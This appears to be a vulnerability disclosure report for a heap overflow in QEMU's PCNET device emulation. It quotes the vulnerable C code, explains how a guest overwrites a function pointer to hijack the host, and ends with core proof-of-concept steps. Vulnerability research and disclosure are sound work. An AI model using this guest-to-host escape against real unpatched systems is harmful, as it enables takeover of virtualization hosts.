A heap overflow exists in the PCNET device controller for QEMU. A guest running in a VM with a PCNET device attached can trigger this vulnerability by sending crafted commands to the host's PCNET device controller, allowing the guest to take full control of the instruction pointer of the host.
-- Detail --
The vulnerability lies in the pcnet_transmit function in hw/net/pcnet.c. The function and relevant structures are given below:
struct pcnet_TMD {
uint32_t tbadr;
int16_t length;
int16_t status;
uint32_t misc;
uint32_t res;
};
struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, target_phys_addr_t addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, target_phys_addr_t addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};
static void pcnet_transmit(PCNetState *s)
{
target_phys_addr_t xmit_cxda = 0;
int count = CSR_XMTRL(s)-1;
int add_crc = 0;
s->xmit_pos = -1;
if (!CSR_TXON(s)) {
s->csr[0] &= ~0x0008;
return;
}
s->tx_busy = 1;
txagain:
if (pcnet_tdte_poll(s)) {
struct pcnet_TMD tmd;
TMDLOAD(&tmd, PHYSADDR(s,CSR_CXDA(s)));
#ifdef PCNET_DEBUG_TMD
printf(" TMDLOAD 0x%08x\n", PHYSADDR(s,CSR_CXDA(s)));
PRINT_TMD(&tmd);
#endif
if (GET_FIELD(tmd.status, TMDS, STP)) {
s->xmit_pos = 0;
xmit_cxda = PHYSADDR(s,CSR_CXDA(s));
if (BCR_SWSTYLE(s) != 1)
add_crc = GET_FIELD(tmd.status, TMDS, ADDFCS);
}
if (!GET_FIELD(tmd.status, TMDS, ENP)) {
int bcnt = 4096 - GET_FIELD(tmd.length, TMDL, BCNT);
s->phys_mem_read(s->dma_opaque, PHYSADDR(s, tmd.tbadr),
s->buffer + s->xmit_pos, bcnt, CSR_BSWP(s));
s->xmit_pos += bcnt;
} else if (s->xmit_pos >= 0) {
int bcnt = 4096 - GET_FIELD(tmd.length, TMDL, BCNT);
s->phys_mem_read(s->dma_opaque, PHYSADDR(s, tmd.tbadr),
s->buffer + s->xmit_pos, bcnt, CSR_BSWP(s));
s->xmit_pos += bcnt;
#ifdef PCNET_DEBUG
printf("pcnet_transmit size=%d\n", s->xmit_pos);
#endif
if (CSR_LOOP(s)) {
if (BCR_SWSTYLE(s) == 1)
add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
pcnet_receive(&s->nic->nc, s->buffer, s->xmit_pos);
s->looptest = 0;
} else
if (s->nic)
qemu_send_packet(&s->nic->nc, s->buffer, s->xmit_pos);
s->csr[0] &= ~0x0008; /* clear TDMD */
s->csr[4] |= 0x0004; /* set TXSTRT */
s->xmit_pos = -1;
}
SET_FIELD(&tmd.status, TMDS, OWN, 0);
TMDSTORE(&tmd, PHYSADDR(s,CSR_CXDA(s)));
if (!CSR_TOKINTD(s) || (CSR_LTINTEN(s) && GET_FIELD(tmd.status, TMDS, LTINT)))
s->csr[0] |= 0x0200; /* set TINT */
if (CSR_XMTRC(s)<=1)
CSR_XMTRC(s) = CSR_XMTRL(s);
else
CSR_XMTRC(s)--;
if (count--)
goto txagain;
} else
if (s->xmit_pos >= 0) {
struct pcnet_TMD tmd;
TMDLOAD(&tmd, xmit_cxda);
SET_FIELD(&tmd.misc, TMDM, BUFF, 1);
SET_FIELD(&tmd.misc, TMDM, UFLO, 1);
SET_FIELD(&tmd.status, TMDS, ERR, 1);
SET_FIELD(&tmd.status, TMDS, OWN, 0);
TMDSTORE(&tmd, xmit_cxda);
s->csr[0] |= 0x0200; /* set TINT */
if (!CSR_DXSUFLO(s)) {
s->csr[0] &= ~0x0010;
} else
if (count--)
goto txagain;
}
s->tx_busy = 0;
}
In brief, this code loads a transmit-frame descriptor from the guest into the /tmd/ local variable to recover a length field, a status field and a guest-physical location of the associated frame buffer. If the status field indicates that the frame buffer is ready to be sent out (i.e. by setting the TXSTATUS_DEVICEOWNS, TXSTATUS_STARTPACKET and TXSTATUS_ENDPACKET bits on the status field), the PCNET device controller pulls in the frame from the guest-physical location to s->buffer (which is 4096 bytes long), and then transmits the frame.
Because of the layout of the transmit-frame descriptor, it is not possible to send the PCNET device controller a frame of length > 4096, but it /is/ possible to send the PCNET device controller a frame that is marked as TXSTATUS_STARTPACKET, but not TXSTATUS_ENDPACKET. If we do this - and the PCNET controller is configured via the XMTRL CSR to support split-frame processing - then the pcnet_transmit functions loops round, pulling a second transmit frame descriptor from the guest. If this second transmit frame descriptor sets the TXSTATUS_DEVICEOWNS and doesn't set the TXSTATUS_STARTPACKET bits, this frame is appended to the s->buffer field.
An attacker can then exploit this vulnerability by sending a first packet of length 4096 to the device controller, and a second frame containing N-bytes to trigger an N-byte heap overflow.
On 64-bit QEMU, a 24-byte overflow allows the guest to take control of the phys_mem_write function pointer in the PCNetState_st structure, and this is called when trying to flush the updated transmit frame descriptor back to the guest. By specifying the content of the second transmit frame, the attacker therefore gets reliable fully-chosen control of the host instruction pointer, allowing them to take control of the host.
-- PoC --
The core steps of the PoC are as below; the full PoC in C and a bootable image in RAW format are given as attachments to this bug report.
// 1: PCNET 16-bit RESET
TRACE(pcnet_ioport_readw(0x14)); // 16-bit RESET
// 2: setup the PCNET device:
TRACE(WriteBCR(20, 1)); // BCR_SSIZE32
// 3: Tell the PCNET device where the initblk is:
TRACE(WriteCSR(1, CSRIADR_ADDR & 0xffff));
TRACE(WriteCSR(2, CSRIADR_ADDR >> 16));
// 4: setup the PCNET 32-bit INIT blk:
initblk = (struct pcnet_initblk32*)CSRIADR_ADDR;
ZeroMemory(initblk, sizeof(*initblk));
initblk->rdra = 0; // don't setup an RX buffer
initblk->tdra = 0x2000; // vaddrs = paddrs because there's no paging in this PoC
// 5: tell PCNET to INIT but not STRT (this DMAs in the initblk)
TRACE(WriteCSR(0, 0x0001));
// 6: Set the CSR_XMTRL value to 0x100 (we need to assert STOP on CR0 first)
TRACE(WriteCSR(0, 0x0004));
TRACE(WriteCSR(78, 0x100));
// 7: tell PCNET to start
TRACE(WriteCSR(0, 0x0002)); // assert STRT
////////////
// Exploit-Time!
// 8: Our Frame buffer
FillMemory8((void*)FRAME_ADDR, 0x41, 4096);
// 9: Our Buffer-fill frame:
ZeroMemory(tx_fill, sizeof(*tx_fill));
tx_fill->length = 0xf000;
tx_fill->status = 0x8000 | 0x0200;
tx_fill->tbadr = FRAME_ADDR;
// 10: Our Buffer-overflow frame:
ZeroMemory(tx_oflo, sizeof(*tx_oflo));
tx_oflo->length = (uint16_t)(0xf000 | (-16));
tx_oflo->status = 0x8000;
tx_oflo->tbadr = FRAME_ADDR;
// 11: tell PCNET to transmit our frame, which triggers the overflow
TRACE(WriteCSR(0, 0x0008));
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Status: Fixed